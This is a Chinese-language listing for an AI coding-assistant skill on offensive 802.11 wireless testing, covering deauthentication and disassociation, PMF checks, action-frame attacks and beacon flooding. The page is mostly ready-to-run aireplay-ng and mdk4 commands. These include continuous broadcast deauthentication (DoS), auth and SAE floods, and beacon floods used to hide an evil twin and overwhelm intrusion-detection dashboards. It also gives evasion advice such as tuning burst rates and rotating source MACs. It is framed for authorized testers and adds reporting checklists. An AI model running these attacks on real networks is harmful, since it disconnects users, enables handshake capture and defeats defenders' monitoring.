关于 offensive-deauth-disassoc
用于评估 802.11 断开连接攻击、PMF 行为、动作帧和信标泛洪的无线安全测试技能,面向授权测试人员,涵盖测试规划、检测观察与报告。
主要功能
- 01802.11 断开连接测试
- 02PMF 状态评估
- 03动作帧攻击指引
- 04信标泛洪测试
- 05速率调整与检测说明
- 06测试报告清单
适用场景
- 01测试客户端重新连接行为
- 02评估 PMF 防护及其限制
- 03检查 WIPS 检测响应
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-deauth-disassoc安装后在 Claude Code 中输入/offensive-deauth-disassoc确认已加载。
详细介绍
Deauth / Disassoc 攻击
最常用的 802.11 管理帧攻击:伪装成 AP 发送解除认证或解除关联帧,客户端便会断开连接。现代 PMF(802.11w)会通过加密方式对这些帧进行认证,但大多数消费级部署和许多企业部署仍未要求启用 PMF。
快速工作流
- 确定目标客户端和 AP(BSSID、信道)
- 选择解除认证范围:单个客户端(隐蔽)还是广播(显眼,DoS)
- 检查 PMF 状态——若为必需,传统解除认证攻击会失败;改用动作帧攻击
- 以合适的速率发送解除认证突发
单客户端解除认证(首选)
用于强制捕获握手、将客户端推向恶意双胞胎,或测试重新连接行为。
sudo aireplay-ng --deauth 5 \
-a AA:BB:CC:DD:EE:FF \ # AP BSSID
-c 11:22:33:44:55:66 \ # client MAC
wlan0mon
--deauth 5会发送 5 个解除认证帧(共 10 帧——5 个发给 AP,5 个发给客户端)。通常 3–10 个就够了。- 一次突发发送超过 30 个会造成不必要的明显信号。
广播解除认证(DoS,谨慎使用)
# Single AP, all clients
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
# --deauth 0 = continuous
# Multiple APs from a list
sudo mdk4 wlan0mon d -B target_bssids.txt -c 1,6,11
仅在获得明确授权后使用。持续广播解除认证是明显的 DoS 信号,大多数 WIPS 会在几秒内触发告警。
PMF(802.11w)注意事项
PMF 会对解除认证/解除关联帧进行认证。可在信标的 RSN 能力字段中查看状态:
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# PMF column: Required / Capable / Off
| PMF 状态 | 解除认证效果 |
|---|---|
| 关闭 | 传统解除认证有效 |
| 支持(可选) | 对未启用 PMF 的客户端有效,对已启用 PMF 的客户端无效 |
| 必需 | 传统解除认证会被忽略——必须使用动作帧攻击 |
针对 PMF 的动作帧攻击
PMF 可保护解除认证/解除关联帧,但不一定能保护所有动作帧。特定动作帧类型仍可能被利用:
# mdk4 multi-tool attacks
sudo mdk4 wlan0mon a -a <BSSID> # auth attack: floods auth frames, AP eventually disconnects clients
sudo mdk4 wlan0mon m -t <BSSID> # CTS frame attack — abuse virtual carrier sense
sudo mdk4 wlan0mon w -t <BSSID> # WPA-Enterprise: SAE auth flood
IEEE 802.11 规范标注为“可能不受保护”的动作帧包括某些块确认和信道切换公告——存在依具体实现而定的利用路径,但需要针对特定芯片组进行测试。
信标泛洪
通过泛洪伪造信标来干扰客户端(和 WIPS):
sudo mdk4 wlan0mon b -f beacon_essids.txt -c 6 -s 100
# Floods 100 beacons/sec for ESSIDs in the file
用途:
- 将恶意双胞胎隐藏在杂波之中
- 对客户端漫游逻辑进行压力测试
- 使 WIPS 仪表板不堪重负(泛洪数千个伪造 AP)
速率调整与检测
| 突发 | 防御方信号 |
|---|---|
| 向单个客户端发送 3–10 个解除认证帧 | 常被误判为漫游或 RF 噪声 |
| 单一来源每秒发送 >30 个解除认证帧 | WIPS 规则触发 |
| 持续广播解除认证 | 明显的 DoS——几分钟内便会触发告警并生成工单 |
| 信标泛洪速率 >50 个/秒 | 使 WIPS 仪表板饱和 |
在突发和暂停周期之间随机更换源 MAC,以分散信号。
测试速查表
# 1. Recon — note PMF status per target
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# 2. Single-client deauth for handshake capture
sudo aireplay-ng --deauth 3 -a <BSSID> -c <client> wlan0mon
# 3. PMF blocking? Try action-frame attacks
sudo mdk4 wlan0mon a -a <BSSID>
# 4. DoS scenario (authorized)
sudo aireplay-ng --deauth 0 -a <BSSID> wlan0mon
报告
每次测试都记录以下内容:
- 目标 BSSID + ESSID + PMF 状态
- 突发数量、持续时间
- 观察到的效果(客户端是否重新连接?是否捕获到握手?是否实现 DoS?)
- 防御方可能观察到的检测信号
主要参考资料
- aireplay-ng 文档
- mdk4:github.com/aircrack-ng/mdk4
- IEEE 802.11w-2009(PMF 规范,现已并入 802.11-2020)
- 《为什么 MAC 地址随机化不起作用》——关于动作帧泄漏的研究
- 来源:https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
评论
支持 Markdown